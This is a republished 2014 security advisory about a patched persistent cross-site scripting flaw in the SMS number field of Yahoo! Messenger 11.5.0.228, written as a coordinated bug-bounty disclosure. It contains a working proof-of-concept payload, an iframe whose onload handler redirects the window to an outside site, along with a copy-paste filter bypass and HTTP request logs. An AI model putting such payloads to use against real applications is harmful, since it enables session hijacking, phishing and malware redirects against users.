Yahoo! Messenger 11.5.0.228 Cross Site Scripting

2014-07-11T00:00:00
ID PACKETSTORM:127433
Type packetstorm
Reporter Ateeq ur Rehman Khan
Modified 2014-07-11T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1136  
  
Video: http://www.vulnerability-lab.com/get_content.php?id=1279  
  
  
Release Date:  
=============  
2014-07-07  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1136  
  
  
Common Vulnerability Scoring System:  
====================================  
6.3  
  
  
Product & Service Introduction:  
===============================  
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely known   
for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo!   
News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its   
social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700   
million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers   
every month in more than 30 languages.  
  
(Copy of the Vendor Homepage: http://www.yahoo.com )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability-Laboratory Research Team has discovered multiple vulnerabilities in the official Yahoo! Messenger software v11.5.0.228 application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2013-07-31: Researcher Notification & Coordination (Ateeq ur Rehman Khan - Core Research Team)  
2013-08-01: Vendor Notification (Yahoo! Security Team - Bug Bounty Program)  
2013-09-01: Vendor Response/Feedback (Yahoo! Security Team - Bug Bounty Program)  
2014-06-01: Vendor Fix/Patch (Yahoo! Developer Team - Reward: HackerOne Program)  
2014-07-07: Public Disclosure (Vulnerability Laboratory)  
  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Yahoo!  
Product: Yahoo! Messenger Desktop (US) 11.5.0.228 (US)  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
An input filter bypass & persistent web vulnerability has been discovered in the official Yahoo! Messenger (11.5.0.228-us) Desktop Application.   
The persistent remote web vulnerability affects the software exception handling module of the phone `SMS` feature in the application.   
  
It was initially discovered that while sending an `SMS`, the Yahoo IM application validates all entered numbers through a   
remote host: validate.msg.yahoo.com. If the number is invalid/malicious the remote host responds with an `unknown number` exception   
which is then handled by the IM application in a new msg window. While handling the exception, the injected code gets executed   
successfully in the new msg window where the exception is processed as HTML.   
  
Malicious requests can be injected in the `Enter Mobile Number` input field using a filter bypass technique while sending an SMS   
through the Yahoo IM application. It seems that basic security controls are in place to restrict user from typing in Alphabets and   
special characters when sending an SMS however a simple copy/paste of a specially crafted payload bypasses the restriction quite   
easily and results in successful code execution of the injected scripts code.  
  
The security risk of the filter bypass and persistent vulnerability is estimated as high with a cvss (common vulnerability scoring   
system) count of 6.3.  
  
This type of vulnerability can be exploited by a non privileged / unauthorized remote attackers and requires a normal application   
user account (victim). The successful exploitation of the remote vulnerability results in session hijacking, persistent phishing,   
persistent external redirect, persistent external malware loads and persistent manipulation of affected module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Service(s):  
[+] Yahoo! Messenger - Desktop Application v11.5.0.228-us (software)  
  
Vulnerable Parameter(s):  
[+] Enter Mobile Number  
  
Affected Module(s):   
[+] Send An SMS > Mobile Number  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by remote attackers with low user interaction and low privileged   
web application user account. For demonstration or to reproduce ...  
  
Manual steps to reproduce the vulnerability ...  
1. Login to your Yahoo IM application  
2. Click on the Send an SMS icon  
3. Inject the "Payload" in the "Enter Mobile Number" input field  
4. A new IM window should popup and shortly your browser should be redirected to my website proving the existence of this vulnerability  
  
  
PoC: Payload  
'%3d'>"><iframe src='http://vulnerability-lab.com' onload=window.location=('http://evolution-sec.com')></iframe>/927  
  
--- PoC Session Logs ---  
HTTP Requests: POST /mobileno?intl=us&version=11.5.0.228 HTTP/1.1  
Cookie: [HIDDEN]  
path=/; domain=.yahoo.com  
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5)  
Host: validate.msg.yahoo.com  
Content-Length: 153  
Pragma: no-cache  
  
<validate intl="us" version="11.5.0.228" qos="0"><mobile_no msisdn="1334372637724887885637224548952226666562325378762437263927"></mobile_no>  
</validate>  
  
-Response:  
HTTP/1.1 200 OK  
Date: Wed, 06 Nov 2013 12:52:31 GMT  
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi   
TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR   
  
FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"  
Content-Length: 173  
Cache-Control: private  
Connection: close  
Content-Type: text/html; charset=utf-8  
  
<validate>  
<mobile_no msisdn="1334372637724887885637224548952226666562325378762437263927">  
<status>Unknown</status>  
<carrier></carrier>  
</mobile_no>  
</validate>  
  
  
  
Demonstration Video(s):  
../video.wmv  
  
Reference(s):  
http://www.yahoo.com  
http://messenger.yahoo.com  
  
  
Solution - Fix & Patch:  
=======================  
Proper security controls should be implemented/enforced in the IM application to validate input and restrict copy/paste of   
malicious requests in all affected input fields. Also restricting the exceptions response type so they are not processed as   
HTML by the IM application is recommended.  
  
  
  
  
Security Risk:  
==============  
The security risk of the persistent exception-handling web vulnerability is estimated as high(-).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either   
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers   
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even   
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation   
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break   
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`